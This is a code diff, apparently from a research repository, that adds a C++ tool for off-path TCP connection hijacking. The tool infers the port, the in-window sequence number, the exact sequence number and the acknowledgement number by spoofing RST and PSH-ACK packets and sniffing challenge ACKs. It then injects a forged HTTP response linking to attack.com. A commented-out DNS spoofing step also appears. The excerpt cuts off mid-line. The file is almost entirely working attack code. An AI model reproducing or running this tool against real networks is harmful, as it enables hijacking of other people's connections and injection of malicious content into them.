if (best_port != 0) found = true;
}
usleep(1000000);
if (verbose) cout << "finished round 2 w guessed port: " << best_port << "\n";
@ -210,20 +208,16 @@ int main(int argc, char** argv) {
print_divider(2);
thread sniff_thread(sniff_stuff);
thread send_sniff_thread(sniff_send_stuff);
int p = find_port(source_ip, sport, dest_ip, start_port, end_port);
//cout << p << "\n";
print_divider(1);
//if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";
//if (verbose) cout << "Attempting to spoof DNS back on port ..\n";
//int res = spoof_dns(source_ip, sport, dest_ip, p);
if (rechecking) int res = recheck_port(source_ip, sport, dest_ip, p, 3);
is_running = false;
sniff_thread.join();
send_sniff_thread.join();
return p;

BIN
server-side-attack/tcp-sside/conn_inf/tcp_send

2
server-side-attack/tcp-sside/inject/Makefile

@ -0,0 +1,2 @@
all:
g++ -O3 -o send_p3 send.cpp -lpthread -ltins -std=c++11

695
server-side-attack/tcp-sside/inject/send.cpp

@ -0,0 +1,695 @@
#include <tins/tins.h>
#include <cassert>
#include <iostream>
#include <string>
#include <unistd.h>
#include <thread>
using std::thread;
using std::cout;
using std::vector;
using namespace Tins;
long current_spoof_seq;
long current_spoof_ack;
long current_min_ack;
long best_seq = 0;
long best_ack;
vector<long> possible_seqs;
vector<long> possible_acks;
int num_sent = 0;
int current_round = 1;
bool ack_search = false;
bool track_nums = false;
bool count_chacks = false;
bool sniffed_chack = false;
bool show = false;
bool testing = true; // if using netcat set to true, else false
int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
std::string victim_wlan_addr, dest_ip, remote_addr, interface;
int sport, dport, request_size, chack_count;
std::string dest_mac = "";
std::string src_mac = "";
void print_divider(int count) {
int i = 0;
while (i < count) {
cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
i++;
}
}
// Injects a malicious payload with the exact seq
// and in-window ack inferred before
//
int inject_junk(long exact_seq, long in_win_ack) {
PacketSender sender;
NetworkInterface iface(interface);
std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>";
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(message);
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::PSH, 1);
tcp.set_flag(TCP::ACK, 1);
tcp.seq(exact_seq);
tcp.ack_seq(in_win_ack);
print_divider(2);
cout << "attempting to inject garbage into the connection..\n";
cout << "injected seq: " << exact_seq << ", in-win ack: " << in_win_ack << "\n";
sender.send(pkt, iface);
num_sent ++;
return 1;
}
// Send the same probe a number of times
// to see if the same amount of responses are
// triggered from the client
//
bool rechack(long seq, long ack, int num_checks) {
PacketSender sender;
NetworkInterface iface(interface);
count_chacks = true;
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");
TCP& tcp = pkt.rfind_pdu<TCP>();
if (ack == 0) {
tcp.set_flag(TCP::RST, 1);
} else {
tcp.set_flag(TCP::PSH, 1);
tcp.set_flag(TCP::ACK, 1);
tcp.ack_seq(ack);
}
tcp.seq(seq);
chack_count = 0;
int count = 0;
usleep(1000000 / 2);
while (count < num_checks) {
sender.send(pkt, iface);
num_sent ++;
usleep(1000000 / 2 * 1.2); // must sleep half second due to chall-ack rate limit
count ++;
}
usleep(1000000);
// should have just sniffed as many chacks as we just sent
cout << "end of rechack, count was: " << chack_count << ", should be: " << num_checks << " \n";
if (chack_count >= num_checks) {
return true;
}
count_chacks = false;
return false;
}
// Use the fact the client will respond to empty PSH-ACKs
// that have an in window ack AND a sequence number less than the exact
// next expected sequence, with chall-acks to infer exact sequence num
//
long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
PacketSender sender;
NetworkInterface iface(interface);
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::PSH, 1);
tcp.set_flag(TCP::ACK, 1);
tcp.ack_seq(in_win_ack);
count_chacks = false;
track_nums = false;
long min_seq = in_win_seq - 200; // assuming the in_window_seq is within 200 of the left edge of window
sniffed_chack = false;
long curr_seq = in_win_seq;
// Continually decrement the in window sequence number
// until we sniff a chack which means we just passed the
// left edge of the sequence window
//
print_divider(1);
bool is_found = false;
while (!is_found) {
long j = curr_seq;
sniffed_chack = false;
while (j > min_seq && !sniffed_chack) {
usleep(send_delay);
cout << "spoofing with seq: " << j << "\n";
tcp.seq(j);
sender.send(pkt, iface);
num_sent ++;
j -= 1;
}
usleep(100000);
curr_seq = best_seq;
cout << "best seq at end of exact scan: " << curr_seq << "\n";
print_divider(1);
is_found = rechack(curr_seq, in_win_ack, 2);
if (show) cout << "exact seq was in win after rechack? " << is_found << "\n";
}
return curr_seq;
}
// Use the fact the client will respond to empty PSH-ACKs
// that have an in window sequence number AND ack number less than the
// ack number in use with chall-acks to infer an in-window ack number
//
long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) {
PacketSender sender;
NetworkInterface iface(interface);
// Loop over ack space sending empty push-acks
// that use the in window sequence number found before
//
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::PSH, 1);
tcp.set_flag(TCP::ACK, 1);
tcp.seq(in_win_seq);
sniffed_chack = false;
chack_count = 0;
count_chacks = true;
track_nums = true;
current_min_ack = min_ack;
long j = max_ack;
long current_ack = 0;
best_ack = 0;
while (j > min_ack && chack_count < chack_trigs) {
usleep(send_delay);
tcp.ack_seq(j);
sender.send(pkt, iface);
num_sent ++;
if (verbose && show) cout << "spoofing with ack: " << j << "\n";
if (j < 100000000) { // for tiny ack range
j -= block_size / 100;
} else {
j -= block_size;
}
}
usleep(100000);
for (int i = 0; i < possible_acks.size(); i ++) {
long cack = possible_acks[i];
if (cack > current_ack) current_ack = cack;
}
cout << "best ack at end of ack scan: " << current_ack << "\n";
track_nums = false;
return current_ack;
}
// Finds the "quiet" portion of the ack range to
// start scanning and then begins to find an approx
// ack block close to the one being used
//
long quack_spread(long in_win_seq) {
cout << "starting quack spread w seq: " << in_win_seq << "\n";
long start_ack_guess = 4294967294 / 2;
long end_ack_guess = 100;
long block_size = 100000000;
sniffed_chack = false; // assume its gonna find an ack here first
// if the actual ack is less than half of the max_ack allowed,
// then it will consider acks at the very top end of the ack space (~429.....)
// to be less than that small ack. therefore, we check if the max ack
// triggers chacks right away, if so then we half the start_ack guess (~214....)
bool triggering = rechack(in_win_seq, start_ack_guess, 3);
cout << "is ack in upper half? " << triggering << "\n";
if (triggering) { // then we know the ack is in the lower half of the ack space
start_ack_guess = start_ack_guess * 2;
}
long j = start_ack_guess;
sniffed_chack = false;
print_divider(1);
// Now continually decrement ack until we trigger another chack
//
int send_delay = 75000;
bool is_found = false;
long current_ack = 0;
while (!is_found) {
current_ack = find_ack_block(start_ack_guess, 0, in_win_seq, block_size, send_delay, true, 1);
cout << "finished quiet block spread, guessed quiet block ack: " << current_ack << "\n";
print_divider(1);
// recheck and send multiple to make sure we found correct ack block
is_found = rechack(in_win_seq, current_ack, 2);
if (show) cout << "was in win after rechack? " << is_found << "\n";
if (!is_found) start_ack_guess = current_ack;
}
return current_ack;
}
// Use the fact the client will respond to RSTs
// with an in-window sequence number with chall-acks to
// infer an in-window seq number
//
long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) {
PacketSender sender;
NetworkInterface iface(interface);
long max_seq = top_seq;
long adder = prev_block_size * delay_mult;
cout << "starting round " << current_round << " spread at: " << (max_seq - adder) << "\n";
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport);
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::RST, 1);
long i;
for (i = (max_seq - adder); i < max_seq; i += new_block_size) {
tcp.seq(i);
sender.send(pkt, iface);
num_sent ++;
usleep(send_delay);
}
cout << "finished round " << current_round << " spread, guessed in window seq: " << best_seq << "\n";
return best_seq;
}
// Attempt to sniff challenge acks while recording
// the last sequence or ack number we spoofed
//
bool handle_packet(PDU &some_pdu) {
const IP &ip = some_pdu.rfind_pdu<IP>();
if (ack_search) {
// keep track of the last ack num we spoofed
if (ip.src_addr() == remote_addr) current_spoof_ack = some_pdu.rfind_pdu<TCP>().ack_seq();
if (ip.src_addr() == victim_wlan_addr) {
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
//cout << payload << "\n";
if (payload == 115) { // each triggered chall-ack is 115 length SSL
if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n";
if (count_chacks) chack_count += 1;
if (track_nums) possible_acks.push_back(current_spoof_ack);
if (current_spoof_ack > current_min_ack) best_ack = current_spoof_ack;
sniffed_chack = true;
}
}
} else if (sniff_request == 1) {
// sniffing for a certain client request size (last step after finding seq and ack)
if (ip.src_addr() == victim_wlan_addr) {
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
cout << "sniffed cli request of size " << payload << "\n";
if (payload == request_size) {
sniff_request = 2;
}
}
} else { // sniffing for chack during sequence search
// keep track of the last sequence num we spoofed
if (ip.src_addr() == remote_addr) current_spoof_seq = some_pdu.rfind_pdu<TCP>().seq();
if (ip.src_addr() == victim_wlan_addr) {
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
//cout << payload << "\n";
if (payload == 115) { // each triggered chall-ack is 1 length15 SSL
if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n";
if (track_nums) {
best_seq = current_spoof_seq;
possible_seqs.push_back(current_spoof_seq);
} else if (count_chacks) { //
chack_count += 1;
best_seq = current_spoof_seq;
} else {
if (!sniffed_chack) {
if (best_seq == 0) { // still in initial seq spread
best_seq = current_spoof_seq;
sniffed_chack = true;
} else {
// make sure new seq is less than the previous sniffed one
if (current_spoof_seq < best_seq) {
best_seq = current_spoof_seq;
sniffed_chack = true;
}
}
}
}
}
}
}
return true;
}
void sniff_stuff() {
SnifferConfiguration config;
config.set_promisc_mode(true);
Sniffer sniffer(interface, config);
sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
}
// Try to find an in window sequence number using
// one of the very rough estimates found in the first
// sequence spread
long try_seq_block(long current_seq) {
// Just did round 1 spoofing fast to get rough estimate of
// in window sequence number, now we send a round 2 and 3 spreads
// using the approximated seq with lower send rates
current_round = 2;
sniffed_chack = false;
int wait_count = 0;
best_seq = current_seq;
usleep(1000000 / 2);
// this will take into account the last block size of 50k,
// skip in blocks of 1055 seq nums per send, assume the last
// rounds delay was 80 packets for a response, and send every 150 msecs
long s1 = find_seq_block(50000, 1055, 80, 150, current_seq);
while (best_seq == current_seq) {
usleep(500000);
if (show) cout << "waiting on round 2 chack..\n"; // return -1 if waiting too long
wait_count +=1;
if (wait_count > 5) return -1;
}
// Now we should have a close estimate to an in-window seq
// so next do a third scan at much slower rate to ensure its
// an in-window sequence num
print_divider(1);
usleep(1000000 / 2);
sniffed_chack = false;
current_round += 1;
current_seq = best_seq;
wait_count = 0;
long s2 = find_seq_block(1055, 20, 50, 600, current_seq);
while (best_seq == current_seq) {
usleep(500000);
if (show) cout << "waiting on round 3 chack..\n";
wait_count +=1;
if (wait_count > 5) return -1;
}
return best_seq;
}
// Gets rough estimate of sequence number in use
// by spreading entire sequence range quickly then
// tries to find in win sequence using each
//
long find_in_win_seq() {
PacketSender sender;
NetworkInterface iface(interface);
long start_seq_guess = 1;
long max_seq_num = 4294967295;
track_nums = true; // phase 1 is so fast it sniffs false seq nums so we try each
cout << "spreading the connections entire sequence number range...\n";
usleep(1000000 / 2);
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport);
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.set_flag(TCP::RST, 1);
long i;
for (i = start_seq_guess; i < max_seq_num; i += 50000) { // sends to the whole sequence num space
tcp.seq(i);
sender.send(pkt, iface);
num_sent ++;
usleep(10);
}
usleep(1000000);
cout << "finished round 1 spread, guessed in window seq: " << best_seq << "\n";
track_nums = false;
int j = 0;
long in_win_seq = -1;
while (j < possible_seqs.size() && in_win_seq == -1) { // try each possible seq block
print_divider(1);
current_round = 0;
if (show) cout << "trying to find in window seq around " << possible_seqs[j] << "\n";
in_win_seq = try_seq_block(possible_seqs[j]);
j ++;
if (show) cout << "in win seq after try? " << in_win_seq << "\n";
usleep(1000000 / 2);
}
possible_seqs.clear();
track_nums = false;
print_divider(1);
usleep(1000000 / 2);
return best_seq;
}
// Send two spoof rounds while increasing the send delay and
// decreasing block size to quickly get in-win ack estimate
//
long find_in_win_ack(long in_win_seq) {
// quack should be below current ack in use but we only rechack once first round
ack_search = true;
long quack = quack_spread(in_win_seq);
// Spoof empty PSH-ACKs starting at 'quack' plus some send delay
// until we sniff a chack and know we just went below the left
// edge of the ack window
usleep(1000000);
print_divider(1);
possible_acks.clear();
long block_size = 10000;
int send_delay = 500;
long max_ack = quack + (1 * 100000000);
long min_ack = quack;
long clack;
bool is_found = false;
while (!is_found) { // retry ack scan until we find block triggering chacks
cout << "starting round 1 ack scan w min: " << min_ack << " and max: " << max_ack << "